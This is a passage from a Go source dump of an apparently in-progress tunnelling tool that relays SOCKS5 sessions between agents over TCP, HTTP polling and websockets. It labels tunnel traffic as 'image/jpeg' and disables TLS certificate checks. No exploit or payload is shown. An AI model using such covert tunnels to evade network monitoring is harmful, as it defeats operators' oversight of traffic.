s.addr) 32 | 33 | return s.ListenAndServe() 34 | } 35 | 36 | // ListenAndServe starts a new tcp listener and waiting for connections 37 | func (s *Socks5) ListenAndServe() error { 38 | l, err := net.Listen("tcp", s.addr) 39 | if err != nil { 40 | return err 41 | } 42 | return s.ServeForever(l) 43 | } 44 | 45 | // ServeForever is used to serve connections from a listener to the handler 46 | func (s *Socks5) ServeForever(l net.Listener) (err error) { 47 | s.l = l 48 | 49 | for { 50 | conn, err := l.Accept() 51 | if err != nil { 52 | return err 53 | } 54 | log.Println("Incoming Connection") 55 | go s.HandleCon(conn) 56 | } 57 | } 58 | 59 | // Close closes the listener 60 | func (s *Socks5) Close() error { 61 | return s.l.Close() 62 | } 63 | -------------------------------------------------------------------------------- /Server/lib/component/server/standard.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import "net" 4 | 5 | var ( 6 | emptyHandler = func(c net.Conn) error { 7 | return c.Close() 8 | } 9 | 10 | DefaultConnHandler = emptyHandler 11 | ) 12 | 13 | // ConnHandleFunc 14 | type ConnHandleFunc func(net.Conn) error 15 | -------------------------------------------------------------------------------- /Server/lib/config/communication.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | // Communication defines how to read/write to the endpoint 4 | type Communication int 5 | 6 | const ( 7 | 8 | // Agent2Agent - Güter needs to be en/decoded first 9 | Agent2Agent Communication = iota + 1 10 | 11 | // Direct - Güter will be send/received directly 12 | Direct 13 | 14 | // Forward - Stream will be forwarded regardless of content 15 | // TODO(author): not implemented yet 16 | Forward 17 | ) 18 | 19 | // mapping 20 | var communications = map[Communication]string{ 21 | Agent2Agent: "a2a", 22 | Direct: "direct", 23 | Forward: "forward", 24 | } 25 | 26 | // Return the name of a pro 27 | func (b *Communication) String() string { 28 | return communications[*b] 29 | } 30 | -------------------------------------------------------------------------------- /Server/lib/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import "github.com/c-f/talje/lib/ladung" 4 | 5 | // Config is the configuration for a new laeufer 6 | type Config struct { 7 | 8 | // InC is a channel of Packets which should be send 9 | InC chan ladung.Packet 10 | // OutC is a channel of Packets which are received 11 | OutC chan ladung.Packet 12 | 13 | // Befestigung defines if the communication is between agents 14 | // or if additional encoding/decoding is required 15 | CommType Communication 16 | Direction Direction 17 | } 18 | 19 | // NewAgent creates a new Agent2Agent configuration 20 | func NewAgent(dir Direction) *Config { 21 | return new(dir, Agent2Agent) 22 | } 23 | 24 | // NewServer creates a Direct Receiving config 25 | func NewServer() *Config { 26 | return new(Receiving, Direct) 27 | } 28 | 29 | // NewServer creates a Direct Sending config 30 | func NewClient() *Config { 31 | return new(Sending, Direct) 32 | } 33 | 34 | // new creates a new Config 35 | func new(direction Direction, commType Communication) *Config { 36 | return &Config{ 37 | CommType: commType, 38 | Direction: direction, 39 | 40 | InC: make(chan ladung.Packet), 41 | OutC: make(chan ladung.Packet), 42 | } 43 | } 44 | 45 | // Bind binds the packets channels together 46 | func (c *Config) Bind(other *Config) { 47 | other.InC = c.OutC 48 | other.OutC = c.InC 49 | } 50 | -------------------------------------------------------------------------------- /Server/lib/config/direction.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | // Direction defines if the laeufer should wait for incomming connections 4 | // or if it should activly connect to an endpoint to establish it. 5 | type Direction int 6 | 7 | const ( 8 | // Receiving indicate that the laeufer will wait for connections 9 | Receiving Direction = iota + 1 10 | 11 | // Sending indicate that the laeufer will activly create the connection 12 | Sending 13 | ) 14 | 15 | // mapping 16 | var directions = map[Direction]string{ 17 | Receiving: "pull", 18 | Sending: "push", 19 | } 20 | 21 | // String stringify the direction 22 | func (r *Direction) String() string { 23 | return directions[*r] 24 | } 25 | -------------------------------------------------------------------------------- /Server/lib/doc.go: -------------------------------------------------------------------------------- 1 | package lib 2 | -------------------------------------------------------------------------------- /Server/lib/gate/gate.go: -------------------------------------------------------------------------------- 1 | package gate 2 | 3 | import ( 4 | "io" 5 | 6 | "github.com/c-f/talje/lib/ladung" 7 | "github.com/c-f/talje/lib/protocol" 8 | ) 9 | 10 | var ( 11 | counter = 1 12 | // Poolsize = 500 13 | ) 14 | 15 | var ( 16 | UUIDGen = func() protocol.ID { 17 | return protocol.NewUUID() 18 | } 19 | DefaultTranslator protocol.Translator = &protocol.Json{} 20 | 21 | IncrementGen = func() protocol.ID { 22 | counter++ 23 | return protocol.NewInt64ID(counter) 24 | } 25 | 26 | // DefaultLadung ladung.Ladung = &ladung.ByteLadung{} 27 | 28 | // DefaultKueper 29 | DefaultGate = Binary() 30 | ) 31 | 32 | // Gate send/receive packets to/from other Agents 33 | type Gate struct { 34 | Translator protocol.Translator 35 | 36 | IDGen func() protocol.ID 37 | } 38 | 39 | /// Send sends a packet to the writer and returns an error 40 | func (n *Gate) Send(gut ladung.Packet, w io.Writer) (err error) { 41 | 42 | // possibility to Wrap/UnWrap the packet 43 | // gut := n.Container.Einpacken(gut) 44 | 45 | return n.Translator.WritePacket(gut, w) 46 | } 47 | 48 | // Receive returns a packet, which were read from the reader using the translator 49 | func (n *Gate) Receive(r io.Reader) (gut ladung.Packet, err error) { 50 | 51 | gut, err = n.Translator.ReadPacket(r) 52 | if err != nil { 53 | return 54 | } 55 | 56 | // possibility to Wrap/UnWrap the packet 57 | // gut = n.Container.Auspacken(gut) 58 | 59 | return 60 | } 61 | 62 | // Returns the binary gate 63 | func Binary() *Gate { 64 | return &Gate{ 65 | Translator: &protocol.Binary{}, 66 | IDGen: IncrementGen, 67 | } 68 | } 69 | 70 | // Returns a JSON Gate 71 | func Json() *Gate { 72 | return &Gate{ 73 | Translator: &protocol.Json{}, 74 | IDGen: UUIDGen, 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /Server/lib/kommando/kommando.go: -------------------------------------------------------------------------------- 1 | package kommando 2 | 3 | // Kommando defines the potential kommandos of a Ladung 4 | type Kommando int 5 | 6 | // Kommando supported 7 | const ( 8 | Unbekannt Kommando = iota 9 | Data 10 | Stop 11 | ) 12 | 13 | // mapping of kommandos 14 | var kommandos = map[Kommando]string{ 15 | Data: "data", 16 | Stop: "stop", 17 | } 18 | 19 | // Name returns the string representation of a kommando 20 | func Name(k Kommando) string { 21 | return kommandos[k] 22 | } 23 | 24 | // Code returns the Kommando based on 25 | func Code(i int) Kommando { 26 | candidate := Kommando(i) 27 | if _, ok := kommandos[candidate]; ok { 28 | return candidate 29 | } 30 | return Unbekannt 31 | } 32 | -------------------------------------------------------------------------------- /Server/lib/ladung/packet.go: -------------------------------------------------------------------------------- 1 | package ladung 2 | 3 | import ( 4 | "github.com/c-f/talje/lib/kommando" 5 | ) 6 | 7 | // Packet is the struct for transporting between Laeufer and Agent 8 | type Packet struct { 9 | // SessionID defines messages to a specific session/request 10 | SessionID string 11 | 12 | // Message defines the payload 13 | Message []byte 14 | 15 | // Kommando defines what's the purpose of the packet 16 | Kommando kommando.Kommando 17 | } 18 | 19 | var ( 20 | EmptyMessage = []byte{} 21 | ) 22 | 23 | // NewDataPacket creates a new DataPacket 24 | func DataPacket(id string, msg []byte) Packet { 25 | return new(id, msg, kommando.Data) 26 | } 27 | 28 | // StopPacket creates a new StopPacket 29 | func StopPacket(id string, msg []byte) Packet { 30 | return new(id, msg, kommando.Stop) 31 | } 32 | 33 | // new creates a new Packet 34 | func new(id string, msg []byte, cmd kommando.Kommando) Packet { 35 | return Packet{ 36 | SessionID: id, 37 | Message: msg, 38 | Kommando: cmd, 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /Server/lib/laeufer/conn_pool.go: -------------------------------------------------------------------------------- 1 | package laeufer 2 | 3 | import ( 4 | "net" 5 | "sync" 6 | ) 7 | 8 | var ( 9 | AgentConnID string = "Agent2Agent" 10 | ) 11 | 12 | type ConnPool struct { 13 | sync.Mutex 14 | m map[string]net.Conn // contains faser 15 | } 16 | 17 | // NewConnPool 18 | func NewConnPool() *ConnPool { 19 | return &ConnPool{ 20 | m: make(map[string]net.Conn), 21 | } 22 | } 23 | 24 | func (cs *ConnPool) len() int { 25 | cs.Lock() 26 | l := len(cs.m) 27 | cs.Unlock() 28 | return l 29 | } 30 | 31 | func (cs *ConnPool) add(id string, c net.Conn) { 32 | cs.Lock() 33 | defer cs.Unlock() 34 | 35 | cs.m[id] = c 36 | } 37 | 38 | func (cs *ConnPool) get(id string) (conn net.Conn) { 39 | cs.Lock() 40 | defer cs.Unlock() 41 | if conn, ok := cs.m[id]; ok { 42 | return conn 43 | } 44 | return nil 45 | } 46 | 47 | func (cs *ConnPool) remove(id string) { 48 | cs.Lock() 49 | delete(cs.m, id) 50 | cs.Unlock() 51 | } 52 | 53 | func (cs *ConnPool) closeAll() { 54 | cs.Lock() 55 | for id, conn := range cs.m { 56 | conn.Close() 57 | delete(cs.m, id) 58 | } 59 | cs.Unlock() 60 | } 61 | -------------------------------------------------------------------------------- /Server/lib/laeufer/dial.go: -------------------------------------------------------------------------------- 1 | package laeufer 2 | 3 | import ( 4 | "context" 5 | "net" 6 | "time" 7 | 8 | "github.com/c-f/talje/lib/utils" 9 | ) 10 | 11 | type DialFunc func(network, address string) (net.Conn, error) 12 | type DialContextFunc func(ctx context.Context, network, address string) (net.Conn, error) 13 | 14 | // conn 15 | func DialWithRetry(dialctx DialContextFunc) DialFunc { 16 | return func(network, address string) (net.Conn, error) { 17 | var newConn net.Conn 18 | 19 | retryErr := utils.Retry(3, 10*time.Second, func() (err error) { 20 | 21 | ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) 22 | defer cancel() 23 | 24 | newConn, err = dialctx(ctx, network, address) 25 | return err 26 | }) 27 | if retryErr != nil { 28 | return nil, retryErr 29 | } 30 | 31 | return newConn, nil 32 | 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /Server/lib/laeufer/errors.go: -------------------------------------------------------------------------------- 1 | package laeufer 2 | 3 | import "errors" 4 | 5 | var ( 6 | ErrTimeout = errors.New("timeout") 7 | 8 | ErrWrongDirection = errors.New("wrong direction") 9 | ) 10 | -------------------------------------------------------------------------------- /Server/lib/laeufer/http/http.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "log" 7 | "net/http" 8 | "sync" 9 | 10 | "github.com/c-f/talje/lib/config" 11 | "github.com/c-f/talje/lib/laeufer" 12 | "github.com/c-f/talje/lib/protocol" 13 | ) 14 | 15 | //TODO(author): implement http handler 16 | 17 | type Laeufer struct { 18 | pipe *laeufer.Laeufer 19 | 20 | or config.Config 21 | 22 | fakeHTTP *HTTPConn 23 | once sync.Once 24 | } 25 | 26 | func New(or config.Config) *Laeufer { 27 | prefix := fmt.Sprintf("%s:%s:%s\t", "websocket", or.CommType.String(), or.Direction.String()) 28 | logger := log.New(log.Default().Writer(), prefix, log.LstdFlags) 29 | l := &Laeufer{ 30 | pipe: laeufer.NewFromConfig(logger, or), 31 | or: or, 32 | } 33 | 34 | l.fakeHTTP = NewHTTPConn() 35 | 36 | go l.pipe.HandleWrite() 37 | return l 38 | } 39 | 40 | // Receive will be invoked by some other handler 41 | // will attach the new connection and forward them 42 | func (tcp *Laeufer) Receive(w http.ResponseWriter, r *http.Request) { 43 | 44 | // Receive is only allowed if Richtung is hieven / pull 45 | if tcp.or.Direction != config.Receiving { 46 | log.Println("logic ") 47 | // return utils.ErrWrongRichtung 48 | return 49 | } 50 | 51 | // Since Receive is called multiple times we need to generate new ids 52 | // id := kueper.DefaultKueper.IDGen() 53 | id := string(tcp.pipe.GetID().ID()) 54 | log.Println("Register", id) 55 | // TODO(author): possibility to release ID 56 | 57 | // Start Routine once 58 | go tcp.once.Do(func() { 59 | tcp.pipe.Register(id, tcp.fakeHTTP) 60 | // remove connections if it cannot be re 61 | defer tcp.pipe.Done(id) 62 | 63 | tcp.pipe.HandleRead(tcp.fakeHTTP, id, "receive") 64 | }) 65 | log.Println("lelel") 66 | 67 | // now get the infos 68 | defer r.Body.Close() 69 | bts, err := ioutil.ReadAll(r.Body) 70 | if err != nil { 71 | log.Println("luls") 72 | } 73 | 74 | if len(bts) > 0 { 75 | // do something with it 76 | // get pipe write to pipe 77 | 78 | tcp.fakeHTTP.AddMessage(bts) 79 | } 80 | 81 | // send message themself 82 | if sendMsg := tcp.fakeHTTP.GetMessage(); len(sendMsg) > 0 { 83 | _, err := w.Write(sendMsg) 84 | if err != nil { 85 | log.Println("Could not write to http response ") 86 | } 87 | } 88 | 89 | return 90 | 91 | } 92 | 93 | func (tcp *Laeufer) Send(addr string) (err error) { 94 | // Send is only allowed if Richtung is fieren / push 95 | if tcp.or.Direction != config.Sending { 96 | return laeufer.ErrWrongDirection 97 | } 98 | 99 | id := string(protocol.NewStaticID(laeufer.AgentConnID).ID()) 100 | log.Println("Sending for id", id) 101 | for { 102 | tcp.send(addr, id) 103 | } 104 | } 105 | 106 | func (tcp *Laeufer) send(addr string, id string) (err error) { 107 | 108 | go tcp.fakeHTTP.Polling(addr) 109 | 110 | tcp.pipe.Register(id, tcp.fakeHTTP) 111 | defer tcp.pipe.Done(id) 112 | 113 | // c, err := tcp.pipe.HandleDial(id, "tcp", addr, laeufer.DialWithRetry(func(ctx context.Context, network, addr string) (net.Conn, error) { 114 | // return tcp.fakeHTTP, nil 115 | // })) 116 | if err != nil { 117 | return err 118 | } 119 | 120 | log.Println("lelllele", id) 121 | tcp.pipe.HandleRead(tcp.fakeHTTP, id, "send") 122 | 123 | log.Fatal("You should") 124 | 125 | return nil 126 | } 127 | -------------------------------------------------------------------------------- /Server/lib/laeufer/http/http_conn.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "bytes" 5 | "errors" 6 | "io" 7 | "io/ioutil" 8 | "log" 9 | "net" 10 | "net/http" 11 | "sync" 12 | "time" 13 | ) 14 | 15 | type HTTPContent []byte 16 | 17 | type HTTPConn struct { 18 | msgOut chan []byte 19 | 20 | //outqueue []HTTPContent 21 | 22 | rw io.ReadWriter 23 | 24 | addr string 25 | 26 | cond *sync.Cond 27 | } 28 | 29 | func NewHTTPConn() *HTTPConn { 30 | m := sync.Mutex{} 31 | return &HTTPConn{ 32 | msgOut: make(chan []byte), 33 | rw: bytes.NewBuffer([]byte{}), 34 | addr: "empty", 35 | cond: sync.NewCond(&m), 36 | } 37 | } 38 | 39 | func (c *HTTPConn) Polling(addr string) { 40 | c.addr = addr 41 | // ticker := time.NewTicker(time.Second * 10) 42 | 43 | //queue := make([]byte, 0) 44 | for { 45 | var msg []byte 46 | 47 | log.Println("Polling ....") 48 | 49 | // wait either for new or when the timer ticks 50 | select { 51 | case <-time.After(1 * time.Second): 52 | msg = []byte("") 53 | // ping msg 54 | 55 | log.Println("PingPoll ....") 56 | 57 | case msg = <-c.msgOut: 58 | log.Println("Message ....") 59 | 60 | } 61 | 62 | // 63 | res, err := c.Send(msg) 64 | 65 | if err != nil { 66 | log.Println("lel") 67 | continue 68 | } 69 | 70 | if len(res) > 0 { 71 | log.Println("Also Write to stuff") 72 | c.rw.Write(res) 73 | c.cond.Broadcast() 74 | } 75 | 76 | } 77 | } 78 | 79 | func (c *HTTPConn) AddMessage(bts []byte) { 80 | c.rw.Write(bts) 81 | c.cond.Broadcast() 82 | } 83 | 84 | // TODO(author): channel or queue ? 85 | func (c *HTTPConn) GetMessage() []byte { 86 | select { 87 | case msg := <-c.msgOut: 88 | return msg 89 | default: 90 | return []byte{} 91 | } 92 | } 93 | 94 | func (c *HTTPConn) Read(bts []byte) (n int, err error) { 95 | n, err = c.rw.Read(bts) 96 | if err == io.EOF { 97 | c.cond.L.Lock() 98 | c.cond.Wait() 99 | c.cond.L.Unlock() 100 | n, err = c.rw.Read(bts) 101 | } 102 | log.Println("Reading ...", n, err) 103 | 104 | return 105 | } 106 | 107 | func (c *HTTPConn) Write(b []byte) (n int, err error) { 108 | c.msgOut <- b 109 | return len(b), nil 110 | } 111 | 112 | type HTTPAddr string 113 | 114 | func (a HTTPAddr) Network() string { 115 | return "tcp" 116 | } 117 | func (a HTTPAddr) String() string { 118 | return string(a) 119 | } 120 | 121 | func (c *HTTPConn) Close() error { 122 | return nil 123 | } 124 | 125 | func (c *HTTPConn) LocalAddr() net.Addr { 126 | return HTTPAddr(c.addr) 127 | } 128 | 129 | func (c *HTTPConn) RemoteAddr() net.Addr { 130 | return HTTPAddr(c.addr) 131 | } 132 | 133 | // 134 | 135 | func (c *HTTPConn) SetDeadline(t time.Time) error { 136 | return nil 137 | } 138 | 139 | func (c *HTTPConn) SetReadDeadline(t time.Time) error { 140 | return nil 141 | } 142 | 143 | func (c *HTTPConn) SetWriteDeadline(t time.Time) error { 144 | return nil 145 | } 146 | 147 | func (c *HTTPConn) Send(msg []byte) (bts []byte, err error) { 148 | buf := bytes.NewBuffer(msg) 149 | resp, err := http.Post(c.addr, "image/jpeg", buf) 150 | if err != nil { 151 | log.Println("err", err) 152 | return 153 | } 154 | defer resp.Body.Close() 155 | 156 | bts, err = ioutil.ReadAll(resp.Body) 157 | if err != nil { 158 | log.Println("errr", err) 159 | return 160 | } 161 | if resp.StatusCode != http.StatusOK { 162 | err = errors.New("invalid message") 163 | } 164 | return 165 | } 166 | -------------------------------------------------------------------------------- /Server/lib/laeufer/laeufer.go: -------------------------------------------------------------------------------- 1 | package laeufer 2 | 3 | import ( 4 | "errors" 5 | "io" 6 | "log" 7 | "net" 8 | "time" 9 | 10 | "github.com/armon/go-socks5" 11 | "github.com/c-f/talje/lib/config" 12 | "github.com/c-f/talje/lib/gate" 13 | "github.com/c-f/talje/lib/kommando" 14 | "github.com/c-f/talje/lib/ladung" 15 | "github.com/c-f/talje/lib/protocol" 16 | ) 17 | 18 | var ( 19 | ErrNoConn = errors.New("No connection available") 20 | ) 21 | 22 | // Laeufer is the glue code, which handles the internal connection management 23 | // Reading and Writing to the Packet data streams based on the configuration 24 | type Laeufer struct { 25 | // conns contains all Connections 26 | conns *ConnPool 27 | 28 | // Data Streams 29 | inC chan ladung.Packet 30 | outC chan ladung.Packet 31 | 32 | // Type/Direction of communication 33 | commType config.Communication 34 | commDirection config.Direction 35 | 36 | log *log.Logger 37 | } 38 | 39 | // NewFromConfig creates a new Laeufer 40 | func NewFromConfig(l *log.Logger, or config.Config) *Laeufer { 41 | return New(l, or.InC, or.OutC, or.CommType, or.Direction) 42 | } 43 | 44 | // New creates a new Laeufer 45 | func New(logger *log.Logger, inc chan ladung.Packet, outc chan ladung.Packet, commType config.Communication, direction config.Direction) *Laeufer { 46 | lfr := &Laeufer{ 47 | log: logger, 48 | inC: inc, 49 | outC: outc, 50 | 51 | commType: commType, 52 | commDirection: direction, 53 | 54 | conns: NewConnPool(), 55 | } 56 | 57 | return lfr 58 | } 59 | 60 | // HandleDial can be called from sending agents to establish a connection to an other agent (receiving) 61 | func (lfr *Laeufer) HandleDial(id string, network, addr string, dial DialFunc) (c net.Conn, err error) { 62 | 63 | return lfr.handleDial(id, network, addr, dial) 64 | } 65 | 66 | func (lfr *Laeufer) handleDial(id string, network, addr string, dial DialFunc) (c net.Conn, err error) { 67 | 68 | c, err = lfr.GetConn(id, false) 69 | if err != nil { 70 | // if no connection is known then connect 71 | 72 | if err == ErrNoConn { 73 | c, err = dial(network, addr) 74 | if err != nil { 75 | log.Println("dialing error", err) 76 | return 77 | } 78 | lfr.Register(id, c) 79 | 80 | } else { 81 | lfr.log.Println("handling Error", err) 82 | return 83 | } 84 | } 85 | 86 | return 87 | } 88 | 89 | // HandleRead is responsible to read Packets from 90 | // 91 | func (lfr *Laeufer) HandleRead(conn net.Conn, id string, label string) (err error) { 92 | 93 | // Temporary buffer for direct reads 94 | tmp := make([]byte, 100000) // using small tmo buffer for demonstrating 95 | 96 | var isEoF = false 97 | 98 | var n int 99 | 100 | // Handle Network Connection 101 | for { 102 | 103 | var g ladung.Packet 104 | 105 | // Read Packet 106 | // based on commType decoding is necessary thus using the Gate 107 | switch lfr.commType { 108 | case config.Agent2Agent: 109 | g, err = gate.DefaultGate.Receive(conn) 110 | 111 | if err != nil { 112 | lfr.log.Println("[lfr] entladen problems :/", err) 113 | return 114 | } 115 | lfr.log.Println("received", g.SessionID, len(g.Message)) 116 | 117 | case config.Forward: 118 | panic("not implemented yet") 119 | 120 | case config.Direct: 121 | lfr.log.Println("received", g.SessionID, len(g.Message)) 122 | 123 | // read Directly from connection 124 | n, err = conn.Read(tmp) 125 | 126 | payload := make([]byte, n) 127 | copy(payload, tmp) 128 | 129 | // Create Packages 130 | if err != nil { 131 | n = 0 132 | if err == io.EOF { 133 | lfr.log.Println("finished") 134 | } else { 135 | lfr.log.Println("reading problem", err) 136 | } 137 | g = ladung.StopPacket(id, ladung.EmptyMessage) 138 | 139 | isEoF = true 140 | 141 | } else { 142 | // create DataPacket 143 | g = ladung.DataPacket(id, payload) 144 | } 145 | } 146 | 147 | // Send Packet to channel 148 | lfr.outC <- g 149 | 150 | // Stopp if everything is ok 151 | if isEoF { 152 | lfr.log.Println("End of File - stopp reading ") 153 | return 154 | } 155 | } 156 | } 157 | 158 | // HandleWrite reads incoming Packets and writes them to the specified connection 159 | func (lfr *Laeufer) HandleWrite() { 160 | for gut := range lfr.inC { 161 | id := gut.SessionID 162 | 163 | if lfr.commType == config.Direct { 164 | lfr.log.Println("send", gut.SessionID, len(gut.Message)) 165 | } 166 | 167 | // Currently if the client is not reachable it will block the complete queue 168 | // might be possible for direct connections to send to channel instead with go routine 169 | 170 | // replace ID 171 | if lfr.commType == config.Agent2Agent { 172 | id = AgentConnID 173 | } 174 | 175 | // wait that client is active 176 | c, err := lfr.GetConn(id, true) 177 | if err != nil { 178 | 179 | // if no Connection is available and the laeufer is configured as sender 180 | // try to establish a connection 181 | if lfr.commDirection == config.Sending { 182 | 183 | c1, c2 := net.Pipe() 184 | c = c1 185 | 186 | lfr.conns.add(id, c) 187 | 188 | // Handle Reading of the connection 189 | go func() { 190 | err = lfr.HandleRead(c, id, "lel") 191 | lfr.log.Println("Error", err) 192 | }() 193 | 194 | // handle Read/Write to upstream 195 | go func() { 196 | // // Possible hooking of dialer Function possible 197 | // dialfunc := func(ctx xcontext.Context, network, addr string) (net.Conn, error) { 198 | // var d net.Dialer 199 | // log.Println(":)") 200 | // underlyingConn, err := d.DialContext(ctx, network, addr) 201 | // //return utils.NewBuffConn(underlyingConn, c), err 202 | // return underlyingConn, err 203 | // } 204 | log.Println("Try to establish connection") 205 | 206 | // --[Socks5 Client]-- 207 | soccksSrv, _ := socks5.New(&socks5.Config{}) 208 | err := soccksSrv.ServeConn(c2) 209 | 210 | // --[Other options]-- HTTP 211 | 212 | // --[Other options]-- TCP 213 | 214 | 215 | // Error handling 216 | if err != nil { 217 | // Server said something 218 | lfr.log.Println("[-] Socks err", id, err) 219 | } 220 | 221 | c2.Close() 222 | lfr.log.Println("[-] Session terminated", id) 223 | 224 | // remove conns 225 | lfr.conns.remove(id) 226 | }() 227 | 228 | } else { 229 | lfr.log.Println("connection stopped ") 230 | lfr.log.Println("ignore package") 231 | continue 232 | } 233 | 234 | } 235 | 236 | // Handle Packet Message 237 | switch gut.Kommando { 238 | case kommando.Stop: 239 | 240 | // close connection if it's not an agent2agent connection 241 | if lfr.commType != config.Agent2Agent { 242 | lfr.log.Println("cmd:stop", gut.SessionID, len(gut.Message)) 243 | 244 | c.Close() 245 | } else { 246 | // forward message 247 | err = gate.DefaultGate.Send(gut, c) 248 | if err != nil { 249 | lfr.log.Println("gate encoding problems :/", err) 250 | } 251 | } 252 | 253 | case kommando.Data: 254 | lfr.log.Println("send", gut.SessionID, len(gut.Message)) 255 | 256 | // Send to the connection 257 | switch lfr.commType { 258 | case config.Agent2Agent: 259 | 260 | err = gate.DefaultGate.Send(gut, c) 261 | if err != nil { 262 | lfr.log.Println("gate encoding problems :/", err) 263 | } 264 | 265 | case config.Forward: 266 | panic("not implemented yet") 267 | 268 | case config.Direct: 269 | 270 | _, err := c.Write(gut.Message) 271 | if err != nil { 272 | lfr.log.Println("[!]", "error writing to lose connection", err) 273 | } 274 | } 275 | default: 276 | lfr.log.Println("[!]", "cmd:unknown", gut.Kommando) 277 | } 278 | } 279 | } 280 | 281 | // --[Conn handling]-- 282 | 283 | // Register a new Connection 284 | func (lfr *Laeufer) Register(id string, c net.Conn) { 285 | lfr.log.Println("[register]", id) 286 | lfr.conns.add(id, c) 287 | } 288 | 289 | // Delete a new Connection 290 | func (lfr *Laeufer) Done(id string) { 291 | lfr.log.Println("[done]", id) 292 | lfr.conns.remove(id) 293 | } 294 | 295 | // Get a Connection, potentically wait 296 | func (lfr *Laeufer) GetConn(oriID string, shouldWait bool) (c net.Conn, err error) { 297 | var id string 298 | 299 | switch lfr.commType { 300 | case config.Agent2Agent: 301 | id = AgentConnID 302 | case config.Forward: 303 | id = AgentConnID 304 | case config.Direct: 305 | id = oriID 306 | } 307 | 308 | // timeout 309 | attempts := 0 310 | for { 311 | c = lfr.conns.get(id) 312 | 313 | // connection was found return it 314 | if c != nil { 315 | return c, nil 316 | } 317 | 318 | // connection will never be reached since the richtung is fier / push 319 | if lfr.commType == config.Direct { 320 | err = ErrNoConn 321 | return 322 | } 323 | 324 | if !shouldWait { 325 | err = ErrNoConn 326 | return 327 | } 328 | 329 | // Newly added 330 | if lfr.commDirection == config.Sending { 331 | err = ErrNoConn 332 | return 333 | } 334 | 335 | lfr.log.Println("got message but socket is not available", oriID) 336 | time.Sleep(1 * time.Second) 337 | attempts++ 338 | 339 | if attempts >= 10 { 340 | lfr.log.Println("Discard message. Client needs to resend it ", oriID) 341 | err = ErrNoConn 342 | return 343 | } 344 | } 345 | } 346 | 347 | // New Id 348 | func (lfr *Laeufer) GetID() (id protocol.ID) { 349 | switch lfr.commDirection { 350 | case config.Sending: // push 351 | id = protocol.NewStaticID(AgentConnID) 352 | 353 | case config.Receiving: // pull 354 | id = gate.DefaultGate.IDGen() 355 | 356 | default: 357 | panic("unknown direction") 358 | } 359 | 360 | switch lfr.commType { 361 | case config.Agent2Agent: 362 | id = protocol.NewStaticID(AgentConnID) 363 | } 364 | 365 | return 366 | } 367 | -------------------------------------------------------------------------------- /Server/lib/laeufer/tcp/tcp.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "log" 7 | "net" 8 | "sync" 9 | 10 | "github.com/c-f/talje/lib/config" 11 | "github.com/c-f/talje/lib/laeufer" 12 | "github.com/c-f/talje/lib/protocol" 13 | ) 14 | 15 | // inspired by https://github.com/jpillora/chisel/blob/92d90be68a989377daf61294ef7458612d10da8c/share/tunnel/tunnel_out_ssh_udp.go#L33 16 | // 17 | 18 | type Laeufer struct { 19 | lock sync.Mutex 20 | 21 | pipe *laeufer.Laeufer 22 | 23 | or config.Config 24 | } 25 | 26 | func New(or config.Config) *Laeufer { 27 | prefix := fmt.Sprintf("%s:%s:%s\t", "tcp", or.CommType.String(), or.Direction.String()) 28 | logger := log.New(log.Default().Writer(), prefix, log.LstdFlags) 29 | 30 | l := &Laeufer{ 31 | pipe: laeufer.NewFromConfig(logger, or), 32 | or: or, 33 | } 34 | 35 | go l.pipe.HandleWrite() 36 | return l 37 | } 38 | 39 | // Receive will be invoked by some other handler 40 | // will attach the new connection and forward them 41 | func (tcp *Laeufer) Receive(c net.Conn) error { 42 | defer c.Close() 43 | 44 | // Receive is only allowed if Direction is hieven / pull 45 | if tcp.or.Direction != config.Receiving { 46 | log.Println("logic ") 47 | return laeufer.ErrWrongDirection 48 | } 49 | 50 | // Since Receive is called multiple times we need to generate new ids 51 | // id := kueper.DefaultKueper.IDGen() 52 | id := string(tcp.pipe.GetID().ID()) 53 | log.Println("Register", id) 54 | 55 | // TODO(author): possibility to release ID 56 | 57 | tcp.pipe.Register(id, c) 58 | // remove connections if it cannot be re 59 | defer tcp.pipe.Done(id) 60 | 61 | tcp.pipe.HandleRead(c, id, "receive") 62 | 63 | return nil 64 | } 65 | 66 | func (tcp *Laeufer) Dial() { 67 | 68 | } 69 | 70 | func (tcp *Laeufer) Send(addr string) (err error) { 71 | // Send is only allowed if Direction is fieren / push 72 | if tcp.or.Direction != config.Sending { 73 | return laeufer.ErrWrongDirection 74 | } 75 | 76 | id := string(protocol.NewStaticID(laeufer.AgentConnID).ID()) 77 | log.Println("Sending for id", id) 78 | for { 79 | tcp.send(addr, id) 80 | } 81 | } 82 | 83 | func (tcp *Laeufer) send(addr string, id string) (err error) { 84 | c, err := tcp.pipe.HandleDial(id, "tcp", addr, laeufer.DialWithRetry(connectTo)) 85 | if err != nil { 86 | return err 87 | } 88 | defer c.Close() 89 | defer tcp.pipe.Done(id) 90 | 91 | tcp.pipe.HandleRead(c, id, "send") 92 | log.Fatal("You should") 93 | 94 | return nil 95 | } 96 | 97 | func connectTo(ctx context.Context, network, addr string) (net.Conn, error) { 98 | var d net.Dialer 99 | return d.DialContext(ctx, network, addr) 100 | } 101 | -------------------------------------------------------------------------------- /Server/lib/laeufer/websocket/websocket.go: -------------------------------------------------------------------------------- 1 | package websocket 2 | 3 | import ( 4 | "context" 5 | "crypto/tls" 6 | "fmt" 7 | "log" 8 | "net" 9 | "net/http" 10 | "sync" 11 | "time" 12 | 13 | "github.com/c-f/talje/lib/config" 14 | "github.com/c-f/talje/lib/laeufer" 15 | "github.com/c-f/talje/lib/protocol" 16 | "github.com/gorilla/websocket" 17 | ) 18 | 19 | var ( 20 | // for websockets 21 | DefaultUpgrader = websocket.Upgrader{ 22 | ReadBufferSize: 1000000, 23 | WriteBufferSize: 1000000, 24 | } 25 | DefaultWebDialer = websocket.Dialer{ 26 | Proxy: http.ProxyFromEnvironment, 27 | HandshakeTimeout: 45 * time.Second, 28 | TLSClientConfig: &tls.Config{ 29 | InsecureSkipVerify: true, 30 | }, 31 | } 32 | ) 33 | 34 | type 